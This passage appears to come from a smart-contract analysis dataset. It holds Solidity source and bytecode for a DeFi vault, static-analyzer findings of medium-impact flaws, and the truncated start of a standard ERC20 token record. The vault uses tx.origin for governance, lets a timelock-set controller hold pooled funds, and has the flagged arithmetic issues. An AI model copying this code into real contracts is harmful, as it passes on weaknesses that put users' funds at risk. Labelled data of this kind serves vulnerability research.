burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IPlayerBook { function bindRefer( address from,string calldata affCode ) external returns (bool); function hasRefer(address from) external returns(bool); } interface Controller { function withdraw(address, uint) external; function balanceOf(address) external view returns (uint); function earn(address, uint) external; } contract dVault is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; uint public depositWithdrawInterval = 60; uint public min = 9500; uint public constant max = 10000; uint public earnLowerlimit; mapping(address => uint256) userDepoistTime; address public feeAddress; uint public fee1 = 5; //fee within 24 hours uint public fee2 = 3; //fee within 1 week uint public fee3 = 1; //fee without 1 week uint public feeMax = 1000; address public playerBook; address public governance; address public controller; address public timelock; bool public RestrictContractCall = true; modifier onlyRestrictContractCall() { address s = msg.sender; require(!RestrictContractCall || !s.isContract(), "Contract cannot call"); _; } constructor (address _token,uint _earnLowerlimit,address _playerBook,address _feeAddress) public ERC20Detailed( string(abi.encodePacked("dms:vault: ", ERC20Detailed(_token).name())), string(abi.encodePacked("d", ERC20Detailed(_token).symbol())), ERC20Detailed(_token).decimals() ) { token = IERC20(_token); governance = tx.origin; controller = 0xEE79a912B31e85a3245fb1A431D68b577993B7dC; earnLowerlimit = _earnLowerlimit; feeAddress = _feeAddress; timelock = tx.origin; playerBook = _playerBook; } function balance() public view returns (uint) { return token.balanceOf(address(this)) .add(Controller(controller).balanceOf(address(token))); } function setMin(uint _min) external { require(msg.sender == governance, "!governance"); min = _min; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) public { require(msg.sender == timelock, "!timelock"); controller = _controller; } function setEarnLowerlimit(uint256 _earnLowerlimit) public{ require(msg.sender == governance, "!governance"); earnLowerlimit = _earnLowerlimit; } // Custom logic in here for how much the vault allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint) { return token.balanceOf(address(this)).mul(min).div(max); } function earn() public { uint _bal = available(); token.safeTransfer(controller, _bal); Controller(controller).earn(address(token), _bal); } function depositAll(string calldata inviter) external { deposit(token.balanceOf(msg.sender),inviter); } function deposit(uint _amount ,string memory inviter) public onlyRestrictContractCall { if (bytes(inviter).length != 0){ if (!IPlayerBook(playerBook).hasRefer(msg.sender)) { IPlayerBook(playerBook).bindRefer(msg.sender, inviter); } } require(_amount > 0, "Cannot deposit 0"); uint _pool = balance(); uint _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); userDepoistTime[msg.sender] = now; if (token.balanceOf(address(this))>earnLowerlimit){ earn(); } } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint _shares) public onlyRestrictContractCall { require(_shares > 0, "Cannot withdraw 0"); require((now - userDepoistTime[msg.sender])>depositWithdrawInterval,"Deposit and withdraw must be 60 seconds apart!"); uint r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint b = token.balanceOf(address(this)); if (b < r) { uint _withdraw = r.sub(b); Controller(controller).withdraw(address(token), _withdraw); uint _after = token.balanceOf(address(this)); uint _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } uint feeRatio = getFeeRatio(); if(feeRatio>0){ uint fee = r.mul(feeRatio).div(feeMax); r = r.sub(fee); token.safeTransfer(feeAddress,fee); } token.safeTransfer(msg.sender, r); } function getFeeRatio() internal view returns(uint) { uint256 t = now - userDepoistTime[msg.sender]; if(t > 604800) {//7*24*60*60 return fee3; } if(t>86400) {//24*60*60 return fee2; } return fee1; } function getPricePerFullShare() public view returns (uint) { if (totalSupply()==0) { return 0; } return balance().mul(1e18).div(totalSupply()); } function setFeeRatio(uint[3] memory fees) public { require(msg.sender == timelock, "!timelock"); require(fees[0]<feeMax&&fees[1]<feeMax&&fees[2]<feeMax,"The fee is too high"); fee1 = fees[0]; fee2 = fees[1]; fee3 = fees[2]; } function setFeeAddress(address fadd) public { require(msg.sender == timelock, "!timelock"); feeAddress = fadd; } function setTimeLock(address _timelock) public { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function setRestrictContractCall(bool enabled) public { require(msg.sender == governance, "!governance"); RestrictContractCall = enabled; } function SetPlayerBook(address _playerbook) public { require(msg.sender == governance, "!governance"); playerBook = _playerbook; } }
0x608060405234801561001057600080fd5b50600436106102695760003560e01c806385d30fc811610151578063b69ef8a8116100c3578063dd8d832611610087578063dd8d832614610705578063f1215d251461070d578063f77c4791146107ba578063f8897945146107c2578063fc0c546a146107ca578063ffbe9f1e146107d257610269565b8063b69ef8a8146106b7578063c6098256146106bf578063d33219b4146106c7578063d389800f146106cf578063dd62ed3e146106d757610269565b806392eefe9b1161011557806392eefe9b146105e557806395d89b411461060b578063a179390a14610613578063a457c2d714610639578063a9059cbb14610665578063ab033ea91461069157610269565b806385d30fc81461056c5780638705fcd414610574578063891682d21461059a5780638e087c78146105c0578063909d3f4c146105c857610269565b806339f73a48116101ea5780635aa6e675116101ae5780635aa6e6751461051e5780636ac5db191461052657806370a082311461052e57806377c7b8fc146105545780637fcd12b31461055c578063853828b61461056457610269565b806339f73a4814610497578063412753581461049f57806345dc3dd8146104a75780634639e19a146104c457806348a0d7541461051657610269565b80632eab74d8116102315780632eab74d81461039a5780632fa241fc146103b957806330382f16146103dd578063313ce5671461044d578063395093511461046b57610269565b806306fdde031461026e578063095ea7b3146102eb57806318160ddd1461032b57806323b872dd146103455780632e1a7d4d1461037b575b600080fd5b6102766107da565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102b0578181015183820152602001610298565b50505050905090810190601f1680156102dd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103176004803603604081101561030157600080fd5b506001600160a01b038135169060200135610871565b604080519115158252519081900360200190f35b61033361088f565b60408051918252519081900360200190f35b6103176004803603606081101561035b57600080fd5b506001600160a01b03813581169160208101359091169060400135610895565b6103986004803603602081101561039157600080fd5b5035610922565b005b610398600480360360208110156103b057600080fd5b50351515610cba565b6103c1610d25565b604080516001600160a01b039092168252519081900360200190f35b610398600480360360208110156103f357600080fd5b81019060208101813564010000000081111561040e57600080fd5b82018360208201111561042057600080fd5b8035906020019184600183028401116401000000008311171561044257600080fd5b509092509050610d34565b610455610def565b6040805160ff9092168252519081900360200190f35b6103176004803603604081101561048157600080fd5b506001600160a01b038135169060200135610df8565b610333610e4c565b6103c1610e52565b610398600480360360208110156104bd57600080fd5b5035610e61565b610398600480360360608110156104da57600080fd5b8101908080606001906003806020026040519081016040528092919082600360200280828437600092019190915250919450610eb39350505050565b610333610f83565b6103c1611039565b610333611048565b6103336004803603602081101561054457600080fd5b50356001600160a01b031661104e565b610333611069565b61031761109e565b6103986110ae565b6103336110c1565b6103986004803603602081101561058a57600080fd5b50356001600160a01b03166110c7565b610398600480360360208110156105b057600080fd5b50356001600160a01b0316611134565b6103336111a1565b610398600480360360208110156105de57600080fd5b50356111a7565b610398600480360360208110156105fb57600080fd5b50356001600160a01b03166111f9565b610276611266565b6103986004803603602081101561062957600080fd5b50356001600160a01b03166112c7565b6103176004803603604081101561064f57600080fd5b506001600160a01b038135169060200135611336565b6103176004803603604081101561067b57600080fd5b506001600160a01b0381351690602001356113a4565b610398600480360360208110156106a757600080fd5b50356001600160a01b03166113b8565b610333611427565b610333611533565b6103c1611539565b610398611548565b610333600480360360408110156106ed57600080fd5b506001600160a01b03813581169160200135166115ee565b610333611619565b6103986004803603604081101561072357600080fd5b8135919081019060408101602082013564010000000081111561074557600080fd5b82018360208201111561075757600080fd5b8035906020019184600183028401116401000000008311171561077957600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061161f945050505050565b6103c1611a5e565b610333611a6d565b6103c1611a73565b610333611a87565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108665780601f1061083b57610100808354040283529160200191610866565b820191906000526020600020905b81548152906001019060200180831161084957829003601f168201915b505050505090505b90565b600061088561087e611a8d565b8484611a91565b5060015b92915050565b60025490565b60006108a2848484611b7d565b610918846108ae611a8d565b6109138560405180606001604052806028815260200161249d602891396001600160a01b038a166000908152600160205260408120906108ec611a8d565b6001600160a01b03168152602081019190915260400160002054919063ffffffff611cd916565b611a91565b5060019392505050565b6012543390600160a01b900460ff16158061094c575061094a816001600160a01b0316611d70565b155b610994576040805162461bcd60e51b815260206004820152601460248201527310dbdb9d1c9858dd0818d85b9b9bdd0818d85b1b60621b604482015290519081900360640190fd5b600082116109dd576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b60065433600090815260096020526040902054420311610a2e5760405162461bcd60e51b815260040180806020018281038252602e81526020018061252f602e913960400191505060405180910390fd5b6000610a5f610a3b61088f565b610a5385610a47611427565b9063ffffffff611dac16565b9063ffffffff611e0c16565b9050610a6b3384611e4e565b600554604080516370a0823160e01b8152306004820152905160009261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610abb57600080fd5b505afa158015610acf573d6000803e3d6000fd5b505050506040513d6020811015610ae557600080fd5b5051905081811015610c2c576000610b03838363ffffffff611f4a16565b6011546005546040805163f3fef3a360e01b81526001600160a01b036101009093048316600482015260248101859052905193945091169163f3fef3a39160448082019260009290919082900301818387803b158015610b6257600080fd5b505af1158015610b76573d6000803e3d6000fd5b5050600554604080516370a0823160e01b81523060048201529051600094506101009092046001600160a01b031692506370a08231916024808301926020929190829003018186803b158015610bcb57600080fd5b505afa158015610bdf573d6000803e3d6000fd5b505050506040513d6020811015610bf557600080fd5b505190506000610c0b828563ffffffff611f4a16565b905082811015610c2857610c25848263ffffffff611f8c16565b94505b5050505b6000610c36611fe6565b90508015610c9757600e54600090610c5890610a53868563ffffffff611dac16565b9050610c6a848263ffffffff611f4a16565b600a54600554919550610c959161010090046001600160a01b0390811691168363ffffffff61202a16565b505b600554610cb39061010090046001600160a01b0316338561202a565b5050505050565b6010546001600160a01b03163314610d07576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b60128054911515600160a01b0260ff60a01b19909216919091179055565b600f546001600160a01b031681565b600554604080516370a0823160e01b81523360048201529051610deb9261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610d8557600080fd5b505afa158015610d99573d6000803e3d6000fd5b505050506040513d6020811015610daf57600080fd5b5051604080516020601f860181900481028201810190925284815290859085908190840183828082843760009201919091525061161f92505050565b5050565b60055460ff1690565b6000610885610e05611a8d565b846109138560016000610e16611a8d565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff611f8c16565b600c5481565b600a546001600160a01b031681565b6010546001600160a01b03163314610eae576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600755565b6012546001600160a01b03163314610efe576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600e548151108015610f155750600e546020820151105b8015610f265750600e546040820151105b610f6d576040805162461bcd60e51b81526020600482015260136024820152720a8d0ca40cccaca40d2e640e8dede40d0d2ced606b1b604482015290519081900360640190fd5b8051600b556020810151600c5560400151600d55565b6000611034612710610a53600754600560019054906101000a90046001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610ffc57600080fd5b505afa158015611010573d6000803e3d6000fd5b505050506040513d602081101561102657600080fd5b50519063ffffffff611dac16565b905090565b6010546001600160a01b031681565b61271081565b6001600160a01b031660009081526020819052604090205490565b600061107361088f565b61107f5750600061086e565b61103461108a61088f565b610a53670de0b6b3a7640000610a47611427565b601254600160a01b900460ff1681565b6110bf6110ba3361104e565b610922565b565b600d5481565b6012546001600160a01b03163314611112576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6012546001600160a01b0316331461117f576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b601280546001600160a01b0319166001600160a01b0392909216919091179055565b60085481565b6010546001600160a01b031633146111f4576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600855565b6012546001600160a01b03163314611244576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b601180546001600160a01b0319166001600160a01b0392909216919091179055565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108665780601f1061083b57610100808354040283529160200191610866565b6010546001600160a01b03163314611314576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610885611343611a8d565b8461091385604051806060016040528060258152602001612587602591396001600061136d611a8d565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff611cd916565b60006108856113b1611a8d565b8484611b7d565b6010546001600160a01b03163314611405576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b601080546001600160a01b0319166001600160a01b0392909216919091179055565b601154600554604080516370a0823160e01b81526001600160a01b036101009093048316600482015290516000936110349316916370a08231916024808301926020929190829003018186803b15801561148057600080fd5b505afa158015611494573d6000803e3d6000fd5b505050506040513d60208110156114aa57600080fd5b5051600554604080516370a0823160e01b815230600482015290516101009092046001600160a01b0316916370a0823191602480820192602092909190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b50519063ffffffff611f8c16565b600b5481565b6012546001600160a01b031681565b6000611552610f83565b60115460055491925061157d9161010090046001600160a01b0390811691168363ffffffff61202a16565b6011546005546040805163b02bf4b960e01b81526101009092046001600160a01b03908116600484015260248301859052905192169163b02bf4b99160448082019260009290919082900301818387803b1580156115da57600080fd5b505af1158015610cb3573d6000803e3d6000fd5b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60065481565b6012543390600160a01b900460ff1615806116495750611647816001600160a01b0316611d70565b155b611691576040805162461bcd60e51b815260206004820152601460248201527310dbdb9d1c9858dd0818d85b9b9bdd0818d85b1b60621b604482015290519081900360640190fd5b8151156117f857600f546040805163a526a92b60e01b815233600482015290516001600160a01b039092169163a526a92b916024808201926020929091908290030181600087803b1580156116e557600080fd5b505af11580156116f9573d6000803e3d6000fd5b505050506040513d602081101561170f57600080fd5b50516117f857600f546040805163d66d140760e01b81523360048201818152602483019384528651604484015286516001600160a01b039095169463d66d1407949293889391606490910190602085019080838360005b8381101561177e578181015183820152602001611766565b50505050905090810190601f1680156117ab5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b1580156117cb57600080fd5b505af11580156117df573d6000803e3d6000fd5b505050506040513d60208110156117f557600080fd5b50505b60008311611840576040805162461bcd60e51b815260206004820152601060248201526f043616e6e6f74206465706f73697420360841b604482015290519081900360640190fd5b600061184a611427565b600554604080516370a0823160e01b815230600482015290519293506000926101009092046001600160a01b0316916370a0823191602480820192602092909190829003018186803b15801561189f57600080fd5b505afa1580156118b3573d6000803e3d6000fd5b505050506040513d60208110156118c957600080fd5b50516005549091506118eb9061010090046001600160a01b0316333088612081565b600554604080516370a0823160e01b8152306004820152905160009261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561193b57600080fd5b505afa15801561194f573d6000803e3d6000fd5b505050506040513d602081101561196557600080fd5b50519050611979818363ffffffff611f4a16565b9550600061198561088f565b6119905750856119af565b6119ac84610a5361199f61088f565b8a9063ffffffff611dac16565b90505b6119b933826120e1565b3360009081526009602090815260409182902042905560085460055483516370a0823160e01b8152306004820152935191936101009091046001600160a01b0316926370a0823192602480840193829003018186803b158015611a1b57600080fd5b505afa158015611a2f573d6000803e3d6000fd5b505050506040513d6020811015611a4557600080fd5b50511115611a5557611a55611548565b50505050505050565b6011546001600160a01b031681565b60075481565b60055461010090046001600160a01b031681565b600e5481565b3390565b6001600160a01b038316611ad65760405162461bcd60e51b815260040180806020018281038252602481526020018061250b6024913960400191505060405180910390fd5b6001600160a01b038216611b1b5760405162461bcd60e51b81526004018080602001828103825260228152602001806124346022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611bc25760405162461bcd60e51b81526004018080602001828103825260258152602001806124e66025913960400191505060405180910390fd5b6001600160a01b038216611c075760405162461bcd60e51b81526004018080602001828103825260238152602001806123ef6023913960400191505060405180910390fd5b611c4a81604051806060016040528060268152602001612456602691396001600160a01b038616600090815260208190526040902054919063ffffffff611cd916565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611c7f908263ffffffff611f8c16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115611d685760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d2d578181015183820152602001611d15565b50505050905090810190601f168015611d5a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611da45750808214155b949350505050565b600082611dbb57506000610889565b82820282848281611dc857fe5b0414611e055760405162461bcd60e51b815260040180806020018281038252602181526020018061247c6021913960400191505060405180910390fd5b9392505050565b6000611e0583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121d1565b6001600160a01b038216611e935760405162461bcd60e51b81526004018080602001828103825260218152602001806124c56021913960400191505060405180910390fd5b611ed681604051806060016040528060228152602001612412602291396001600160a01b038516600090815260208190526040902054919063ffffffff611cd916565b6001600160a01b038316600090815260208190526040902055600254611f02908263ffffffff611f4a16565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000611e0583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cd9565b600082820183811015611e05576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b33600090815260096020526040812054420362093a8081111561200d575050600d5461086e565b62015180811115612022575050600c5461086e565b5050600b5490565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261207c908490612236565b505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526120db908590612236565b50505050565b6001600160a01b03821661213c576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b60025461214f908263ffffffff611f8c16565b6002556001600160a01b03821660009081526020819052604090205461217b908263ffffffff611f8c16565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600081836122205760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611d2d578181015183820152602001611d15565b50600083858161222c57fe5b0495945050505050565b612248826001600160a01b0316611d70565b612299576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106122d75780518252601f1990920191602091820191016122b8565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612339576040519150601f19603f3d011682016040523d82523d6000602084013e61233e565b606091505b509150915081612395576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156120db578080602001905160208110156123b157600080fd5b50516120db5760405162461bcd60e51b815260040180806020018281038252602a81526020018061255d602a913960400191505060405180910390fdfe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734465706f73697420616e64207769746864726177206d757374206265203630207365636f6e6473206170617274215361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820ca36159269a706a15b106988628b263c85e694bc583a1f6841b62a847623f0c864736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,004
0xe9d4f3919c456f3a8bd9423fd7fa4155b671cced
pragma solidity ^0.4.24; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param 